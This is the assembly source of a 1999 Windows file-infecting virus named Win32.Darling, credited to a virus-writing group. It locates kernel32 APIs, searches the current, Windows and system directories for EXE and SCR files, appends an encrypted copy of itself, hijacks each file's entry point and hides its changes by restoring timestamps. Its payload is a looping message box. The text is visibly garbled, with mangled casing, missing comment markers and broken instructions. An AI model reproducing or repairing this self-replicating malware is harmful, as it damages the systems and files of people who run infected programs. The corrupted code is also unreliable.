; ================================================== ===========================
;
;
; Name: Win32.Darling V1.00
TYPE: Direct-action variable-encrypting pe-infector.
Size: around 1700 bytes.
Author: T-2000 / [Immortal Riot].
E-mail: t2000_@hotmail.com
Date: May 1999.
PayLoad: randomly pops-up a message-box.
;
;
FEATURES:
;
- True Win32-Compatible (WIN-95/98 / NT).
- Variable Encrypting (32-bit key).
- Traps Possible Errors with a SEH.
; - Infects Files in Current / Windoze / System-Directory.
- Non-Destructive Payload (arghhh !!!!!).
;
;
Nothing Brand New At All, This Is Just A Quick Win32.savior Hack, with
Some Improvements. Now it fetches api from kernel32.dll's export-table,
; SO it Doesn't Have To Rely on the Host's Imports Anymore ...
;
Succesfully Tested On Win95 (OSR / 2), WIN98, And Winnt (4.0).
;
;
KNown Problems:
;
For Some Reason My Infected Dummy-Files Start Executing Wrongly Decrypted
Code, this ONLY HAPPENS WHEN A Small File Is Executed Two Times in A Row,
; Under nt. it doesn't look like a bug of mine, i suspect the caching is
FUCKING THINGS UP.
;
;
Assemble with: Tasm32 Savior.asm / m / ml
; TLINK32 Savior.obj import32.lib
Pewrsec Savior.exe
;
; ================================================== ===================================. 386p
.MODEL FLAT
.Code
ORG 0
EXTRN EXITPROCESS: Proc; ONLY Used by the carrier.
Debug_mode = 1; if true, only dum?. * Files Are
Targetted for Infection.
Virus_size EQU (Virus_END-STAR)
Virus_size_mem EQU (Virus_end_mem-start)
Max_INFECT EQU 4
Min_size_infect EQU 4096
Start:
Push EAX
LIDT [ESP-2]
POP EAX
JMP Carrier
Push Esp; Reserve Room for EIP.
Pushfd; Save Registers & Flags.
Pushhad
Call get_delta; get ot garization in memory.
Anti_Moron DB 0e9h; Overlapping Code, Anti BP.
GET_DELTA: POP EBP
Sub EBP, (Anti_Moron-Start)
MOV EAX, 0
INIT_KEY = DWORD PTR $ -4
MOV EBX, 0
INIT_SLIDE = DWORD PTR $ -4
MOV ECX, (virus_end-encrypted) / 4
Push EBP
Decrypt_dword: xor [EBP (Virus_SIZE-4)], EAX
SUB EBP, 4
Add Eax, EBX; Slide Decryption-Key.
RCL EBX, 3; Slide Key-Slider.
Loop Decrypt_dword
POP EBP
IF ($ -start) MOD 4) GT 0
DB (4 - ($ -start) MOD 4)) DUP (90h)
ENDIF
Encrypted: MOV EAX, EBP
SUB EAX, 1000H; Calculate Image-Base.
Base_displ = DWORD PTR $ -4
Lea EBX, [EAX ((Carrier-Start) 1000H)]]
Old_eip_rva = dword PTR $ -4
MOV [ESP (9 * 4)], EBX; SET Address Host In Stack.
Call setup_seh; push seh-address on stack.
MOV ESP, [ESP (2 * 4)]; Restore Original Stack.
JMP Restore_seh; Terminate Program-Flow.
Setup_seh: Push DWORD PTR FS: [ECX]; Save Original SEH-POINTER.
; MOV FS: [ECX], ESP; Setur Own SEH.CLD
MOV EAX, [ESP (12 * 4)]
XOR AX, AX
FIND_K32_BASE: CMP EAX, 400000H; BELOW Application-Memory?
JB JMP_REST_SEH; Arghh! NOT FOUND!
CMP [EAX.EXE_MARK], 'ZM'
JNE SCAN_DOWNWARDS
CMP [eax.reloc_table], 40h
JB scan_downwards
MOV EBX, [EAX 3CH]
Add Ebx, EAX
CMP [EBX.PE_MARK], 'EP'
JNE SCAN_DOWNWARDS
MOV EBX, [EBX 120]; K32's export-table.
Add Ebx, EAX
MOV ESI, [EBX (3 * 4)]; ASCIZ-Name of DLL.
Add ESI, ESI
Push EAX
Lodsd
Call Upcase_EAX
XCHG ECX, EAX
Lodsd
Call Upcase_EAX
CMP EAX, '23LE'; Check for kernel32.dll.
POP EAX
JNE SCAN_DOWNWARDS
CMP ECX, 'NREK'; FOUND KERNEL32.DLL?
JE FOUND_K32_BASE
Scan_downwards: Sub Eax, 65536
JMP FIND_K32_BASE
Virus_name db 'Win32.darling V1.00', 0
JMP_REST_SEH: JMP Restore_seh; Abort All.
Found_k32_base: MOV EDX, [EBX (8 * 4)]; Array of Name RVA's.
Add Edx, EAX
MOV ECX, [EBX (6 * 4)]; Amount of Name Entries.
Dec Ecx; Last Entry Name.
Find_GPA: MOV EDI, [EDX (ECX * 4)]; Offset name.
Add Edi, EAX
Pushhad
Lea ESI, [EBP (getProcaddress_name-start)]
PUSH 15
POP ECX
REPE CMPSB
Popad
JNE loop_find_gpa
MOV ESI, [EBX (9 * 4)]; Array Of API Ordinals.
Add ESI, ESI
Movzx ESI, Word PTR [ESI (ECX * 2)]
MOV EBX, [EBX (7 * 4)]; Array Of API RVA's.
Add Ebx, EAX
LEA EBX, [EBX (ESI * 4)]
Mov ESI, [EBX]
Add ESI, ESI
MOV [EBP (getProcaddress-start)], ESI
LOOP_FIND_GPA: LOOP FIND_GPA
XCHG EBX, EAX
Lea ESI, [EBP (API_NAMES-START)]
Lea EDI, [EBP (API_ADDRESS-START)]
LOOP_GET_API: PUSH ESI
Push EBX
Call [EBP (getProcaddress-start)]
CLD; Store API-Address.
Stosd
XCHG ECX, EAX; API NOT FOUND?
JECXZ JMP_REST_SEHFIND_NEXT_API: LODSB
OR Al, Al; FOUND END OF API-NAME?
JNZ Find_Next_API
CMP [ESI], Al; We've DID 'EM All?
Jnz loop_get_api
Lea ESI, [EBP (Current_Directory-start)]
MOV EBX, 260
PUSH ESI
Push ESI; Retrieve Current Path.
Push EBX
Call [EBP (getcurrentdirectorya-start)]
Add ESI, EBX
PUSH ESI
Push Ebx; Retrieve Windoze-Directory.
PUSH ESI
Call [EBP (getWindowsDirectorya-start)]
Add ESI, EBX
PUSH ESI
Push Ebx; Retrieve System-Directory.
PUSH ESI
Call [EBP (getSystemDirectorya-start)]
Infect Files in System-Directory.
Call [EBP (SetCurrentDirectorya-start)]
Call infect_directory
Infect Files in Windoze-Directory.
Call [EBP (SetCurrentDirectorya-start)]
Call infect_directory
Infect Files in Current-Directory.
Call [EBP (SetCurrentDirectorya-start)]
Call infect_directory
Call [EBP (GettickCount-start)]
CMP AL, 10
Ja Restore_Seh
JMP Restore_Seh
Gall
Lea EAX, [EBP (user32_name-start)]
Push EAX
Call [EBP (getModuleHandlea-start)]
XCHG ECX, EAX
Jecxz restore_seh
Lea Eax, [EBP (MessageBoxa_name-start)]
Push EAX
Push ECX
Call [EBP (getProcaddress-start)]
OR EAX, EAX
JZ Restore_Seh
XCHG EBX, EAX
Display an OK / Cancel-Box with a message.
Show_our_box: push 30h or 01h
Lea Eax, [EBP (PayLoad_title-start)]
Push EAX
Lea Eax, [EBP (PayLoad_Text-Start)]
Push EAX
PUSH 0
Call EBX
Dec Eax; They're Disrespecting US
Dec Eax; by Clicking on Cancel?
JZ Show_our_box; The Just Repeat ALL.
RESTORE_SEH: XOR Eax, EAX
POP DWORD PTR FS: [EAX]; restore Original SEH.
POP EAX; trash handler-address.
EXECUTE_HOST: POPAD; Restore Registers & Flags.
POPFD
Ret; returnit.
PayLoad_title DB 'http://www.drling.se', 0Payload_text DB 'this is a defication to the best magazine'
DB 'in Sweden, Darling. - Ir in' '99', 0
Infect_directory:
Pushhad
Clear Infection-Counter.
AND Byte PTR [EBP (Infect_Counter-start)], 0
Lea Eax, [EBP (Search_Record-start)]
Push EAX
Lea Eax, [EBP (Search_Mask-start)]
Push EAX
Call [EBP (Findfirstfilea-start)]
Mov ESI, ESI; Save Search-Handle In ESI.
INC EAX
JZ EXIT_INF_DIR
Infect_loop: Pushad
Lea EBX, [EBP (Search_Record.Find_File_name-start)]
MOV ESI, EBX
CLD
Find_end_name: lodsb; get next byte of filename.
OR Al, Al; Found end of the asciiz?
JNZ FIND_END_NAME
MOV EAX, [ESI-5]; Get Extension DWORD.
Call Upcase_EAX
CMP EAX, 'EXE'; Standard .exe-file?
JE EXTENSION_OK
CMP EAX, 'RCS.'; Screensaver?
JNE EXIT_INFECT
EXTENSION_OK: PUSH EBX
Call [EBP (getFileAttributesa-start)]
CMP EAX, -1; Error Occurred?
JE EXIT_INFECT
Mov ESI, EAX
And Al, NOT 00000001B; Get Rid of Readonly-Flag.
Push EAX
Push EBX
Call [EBP (SetFileAttributesa-start)]
DEC EAX; Error Occurred?
JNZ EXIT_INFECT
Push ESI; PUSH FileName Attributes
Push ebx; for restore_attr.
Push Eax; Open Candidate-file.
Push EAX
Push 3; Open existing.
Push EAX
Push EAX
PUSH 80000000H OR 40000000H; Read / Write-Access.
Push EBX
Call [EBP (CreateFilea-start)]
MOV [EBP (file_handle-start)], EAX
Mov ESI, EAX
INC EAX; ERROR OCCURRED?
JZ Restore_attr
Push ESI; for CloseHandle.
Push 0; Get Candidate's FileSize.
PUSH ESI
Call [EBP (getFileSize-start)]
CMP EAX, min_size_infect; File Too Small?
JB Close_Handle
Lea EAX, [EBP (Time_Last_Write-Start]]
Push Eax; Get FileDates & Times.SUB EAX, 8
Push EAX
Sub Eax, 8
Push EAX
PUSH ESI
Call [EBP (getfiletime-start)]
Read The MZ-HEADER.
Read_Header: Lea EBX, [EBP (Header-Start)]
Push 40h
POP ECX
Call read_file
JNZ Close_Handle
CMP [EBX.EXE_MARK], 'ZM'; IT Must Be a true exe-file.
JNE CLOSE_HANDLE
CMP [EBX.RELOC_TABLE], 40H; Contains a new eve-header?
JB Close_Handle
MOV ESI, [EBX 3CH]
Mov Eax, ESI; Seek to PE-HEADER.
Call seek_file
JZ Close_Handle
Push 92; Read-in The PE-HEADER.
POP ECX
Call read_file
JNZ Close_Handle
CMP [EBX.PE_MARK], 'EP'; Verify It's A PE-HEADER.
JNE CLOSE_HANDLE
PROGRAM IS EXECUTABLE?
Test Byte Ptr [Ebx.pe_flags], 00000010B
JZ Close_Handle
Don't Infect DLL'S.
Test Byte Ptr [Ebx.pe_flags 1], 00100000B
JNZ Close_Handle
CMP [EBX.CPU_TYPE], 14CH; MUST BE A 386 File.
JNE CLOSE_HANDLE
Is IS IT ALREADY INFECTED?
CMP [EBX.CHECKSUM], 93FB2AA7H
JE close_handle
PUSH ESI
Calculate Position of the last section-header.
Movzx eax, [ebx.number_of_sections]]
Dec AX
Push 40
POP ECX
Mul ECX
Calculate size of pe-header.
MOV DX, [ebx.nt_header_size]
Add DX, 24
LEA ECX, [ESI EDX]; Start Section-Headers.
Add Eax, ECX; EAX = Last Section-HEADER.
Push EAX
Seek to last section-header.
Call seek_file
Lea ESI, [EBP (last_section_header-start)]
Push EBX
MOV EBX, ESI; Read last Section-HEADER.
Push 40
POP ECX
Call read_file
POP EBX
MOV EAX, [ESI.SECTION_RVA]
Add Eax, [ESI.SECTION_PHYSICAL_SIZE]
MOV [EBP (Base_Displ-start)], EAX
XCHG [EBX.EIP_RVA], EAX
MOV [EBP (Old_eip_rva-start)], EAX
Seek to the end of the section.
MOV EAX, [ESI.SECTION_PHYSICAL_OFFSET]
Add Eax, [ESI.SECTION_PHYSICAL_SIZE] CALL SEEK_FILE
MOV EAX, [ESI.SECTION_PHYSICAL_SIZE]
Add Eax, Virus_size
MOV ECX, [ebx.file_align]
Call align_eax
MOV [esi.section_physical_size], EAX
XCHG EDI, EAX; Save Physical-Size In EDI.
Mov Eax, [ESI.SECTION_VIRTUAL_SIZE]
MOV ECX, [ebx.object_align]
Call align_eax
Sub [ebx.image_size], EAX
Add Eax, Virus_Size_Mem - 1
CALC_MEM_SIZE: INC EAX
Call align_eax
CMP EAX, EDI; Virtual-Size May Not Be
JB CALC_MEM_SIZE; Smaller Than Physical-size.
MOV [ESI.SECTION_VIRTUAL_SIZE], EAX
Add [ebx.image_size], EAX
Set section-flags: Read, Write, Executable, & Code.
OR [ESI.SECTION_FLAGS], 11100000000000000000000000100000B
Lea EDI, [EBP (Buffer-Start)
Pushhad
Get a Random Slide-key.
Call [EBP (GettickCount-start)]
MOV [EBP (Init_SLide-start)], EAX
XCHG EBX, EAX
Get a random encryption-key.
Call [EBP (GettickCount-start)]
MOV [EBP (Init_Key-start)], EAX
MOV ESI, EBP
MOV ECX, (Virus_size / 4)
CLD
REP MOVSD
MOV ECX, (virus_end-encrypted) / 4
Encrypt_dword: Sub EDI, 4
XOR [EDI], EAX
Add Eax, EBX
RCL EBX, 3
Loop encrypt_dword
Popad
MOV EDX, EDI; Write VirusBody to End
MOV ECX, Virus_Size; of the last section.
Call write_file
POP EAX; Offset Last Object-HEADER.
Call seek_file
Write Updated Section-Header Back to File.
Push 40
POP ECX
Lea Edx, [EBP (last_section_header-start)]
Call write_file
Seek to end of file.
Push 2
Push EAX
Push EAX
Push DWORD PTR [EBP (file_handle-start)]
Call [EBP (SetFilePointer-Start)]
XOR EDX, EDX; ZERO-PAD The Infected File.
Mov edi, [ebx.file_align]
Div EDI
OR EDX, EDX; File Is Already Aligned?
JZ Mark_Inf_File
Sub EDI, EDX; Howit Bytes To PAD?
ZERO_PAD: PUSH 1; Write a padding-byte.pop ECX
Lea Edx, [EBP (ZERO_TOLERANCE-START)]
Call write_file
Dec EDI; We've Did 'EM All?
JNZ ZERO_PAD
Mark_INF_FILE: MOV [EBX.CHECKSUM], 93FB2AA7H
Pop Eax; Seek to Start of Pe-header.
Call seek_file
Push 92; Write Updated PE-HEADER.
POP ECX
MOV EDX, EBX
Call write_file
Increment Our Infection-Counter.
Inc Byte Ptr [EBP (Infect_Counter-Start)]
Restore Original File-Dates & Times.
RESTORE_STAMP: Lea Eax, [EBP (Time_Last_Write-Start]
Push EAX
Sub Eax, 8
Push EAX
Sub Eax, 8
Push EAX
Push DWORD PTR [EBP (file_handle-start)]
Call [EBP (SetFileTime-start)]
Close_Handle: Call [EBP (CloseHandle-Start)]
Restore_attr: Call [EBP (SetFileAttributesa-Start)]
EXIT_INFECT: POPAD
WE'VE DID ENOUGH INFECTIONS?
CMP BYTE PTR [EBP (Infect_Counter-Start), Max_INFECT
JNB Close_Find
Find Another file.
Lea Eax, [EBP (Search_Record-start)]
Push EAX
PUSH ESI
Call [EBP (FindNextFilea-start)]
Dec EAX; Continue if Search Went OK.
JZ Infect_Loop
Close_find: Push ESI; Close Search-Handle.
Call [EBP (FindClose-start)]
EXIT_INF_DIR: POPAD
RET
EAX = OFFSET.
Returns Zf if Error.
Seek_file:
PUSH 0
PUSH 0
Push EAX
Push DWORD PTR [EBP (file_handle-start)]
Call [EBP (SetFilePointer-Start)]
INC EAX
RET
Ebx = buffer.
ECX = bytes to read.
Returns Zf if Successful.
Read_file:
PUSH 0
Lea Eax, [EBP (Bytes_Read-start)]
Push EAX
Push ECX
Push EBX
Push DWORD PTR [EBP (file_handle-start)]
Call [EBP (ReadFile-Start)]
Dec EAX
RET
ECX = Amount of Bytes.
Edx = Buffer.
Returns Zf if Successful.
WRITE_FILE:
PUSH 0
Lea Eax, [EBP (Bytes_Read-start)] Push EAX
Push ECX
Push Edx
Push 12345678H
FILE_HANDE = DWORD PTR $ -4
Call [EBP (Writefile-start)]
Dec EAX
RET
Align_EAX:
XOR EDX, EDX
Div ECX
OR EDX, EDX; Even Division?
JZ NO_ROUND; the no need to round-up.
Inc Eax; Round-Up.
NO_ROUND: MUL ECX
RET
Upcase_eax:
ROL EAX, 8
Call Upcase_al
ROL EAX, 8
Call Upcase_al
ROL EAX, 8
Call Upcase_al
ROL EAX, 8
Upcase_al: CMP Al, 'A'
JB EXIT_UPCASE_AL
CMP Al, 'Z'
JA EXIT_UPCASE_AL
SUB Al, 'A' - 'A'
EXIT_UPCASE_AL: RET
IF debug_mode
Search_mask db 'DUM? *', 0
Else
Search_mask db '*. *', 0
ENDIF
USER32_NAME DB 'USER32', 0
Messageboxa_name DB 'MessageBoxa', 0
GetProcaddress_name DB 'getProcaddress', 0
API_NAMES: DB 'getcurrentdirectorya, 0
DB 'setcurrentdirectorya', 0
DB 'getWindowsDirectorya', 0
DB 'getSystemDirectorya', 0
DB 'FindfirstFilea', 0
DB 'FINDNEXTFILEA', 0
DB 'FindClose', 0
DB 'getFileAttributesa', 0
DB 'setFileAttributesa', 0
DB 'CreateFilea', 0
DB 'CloseHandle', 0
DB 'getfiletime', 0
DB 'setFiletime', 0
DB 'getFilesize', 0
DB 'setFilePointer', 0
DB 'Readfile', 0
DB 'Writefile', 0
DB 'getModuleHandlea', 0
DB 'gettickcount', 0
ZERO_TOLERANCE DB 0
IF ($ -start) MOD 4) GT 0
DB (4 - ($ -start) MOD 4)) DUP (0)
ENDIF
Virus_end:
API_ADDRESSES:
; === Our Needed API from kernel32.dll. ===
GetCurrentDirectorya DD 0
SetCurrentDirectorya DD 0
GetWindowsDirectorya DD 0
GetsystemDirectorya DD 0
Findfirstfilea DD 0
FindNextFilea DD 0FindClose DD 0
GetFileAttributesa DD 0
SetFileAttributesa DD 0
CreateFilea DD 0
CloseHandle DD 0
GetFiletime DD 0
SetFileTime DD 0
GetFileSize DD 0
SetFilePointer DD 0
ReadFile DD 0
Writefile DD 0
GetModuleHandlea DD 0
GetTickCount DD 0
GetProcaddress DD 0
Time_creation DD 0, 0
Time_last_access DD 0, 0
Time_last_write DD 0, 0
Infect_counter db 0
BYTES_READ DD 0
HEADER DB 92 DUP (0)
Last_section_header DB 40 DUP (0)
Search_Record DB 318 DUP (0)
Current_directory DB 260 DUP (0)
Windows_directory db 260 dup (0)
SYSTEM_DIRECTORY DB 260 DUP (0)
Buffer DB Virus_Size DUP (0)
Virus_end_mem:
Carrier:
Push 0; Terminate Current Process.
Call EXITPROCESS
; ---------------------- Some Used Structures ------------------------ ------------
EXE_HEADER STRUC
EXE_MARK DW 0; MZ-Marker (MZ Or ZM).
Image_mod_512 dw 0
Image_512_pages dw 0
Reloc_Items DW 0
HEADER_SIZE_MEM DW 0
Min_size_mem dw 0
MAX_SIZE_MEM DW 0
Program_ss dw 0
Program_sp DW 0
MZ_CHECKSUM DW 0
Program_ip dw 0
Program_cs dw 0
Reloc_table dw 0
EXE_HEADER ENDS
PE_HEADER STRUC
PE_MARK DD 0; PE-MARKER (PE / 0/0).
CPU_TYPE DW 0; Minimal CPU Required.
Number_of_sections dw 0; Number of Sections in PE.
DD 0
RESERVED_1 DD 0
DD 0
NT_HEADER_SIZE DW 0
PE_FLAGS DW 0
DD 4 DUP (0)
EIP_RVA DD 0
DD 2 DUP (0)
Image_base dd 0
Object_align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
DD 0
Image_size DD 0
DD 0
Checksum DD 0
PE_HEADER ENDS
Section_Header Struc
Section_name DB 8 DUP (0); Zero-Padded Section-Name.
Section_virtual_size DD 0; Memory-Size of Section.
Section_rva DD 0; Start Section in Memory.
Section_physical_size dd 0; section-size in file.
Section_physical_offset DD 0; section file-offset.
Section_reserved_1 DD 0; NOT Used for executables.section_reserved_2 DD 0; NOT USED for Executables.
Section_reserved_3 DD 0; NOT USED for Executables.
Section_flags DD 0; Flags of The Section.
Section_Header Ends
Find_first_next_win32 struc
File_attributes DD 0
Creation_time DD 0, 0
Last_accessed_time DD 0, 0
Last_written_time DD 0, 0
Find_file_size_high dd 0
Find_file_size_low dd 0
Find_reserved_1 DD 0
Find_reserved_2 DD 0
Find_file_name db 260 dup (0)
Find_dos_file_name dB 14 DUP (0)
Find_first_next_win32 Ends
End Start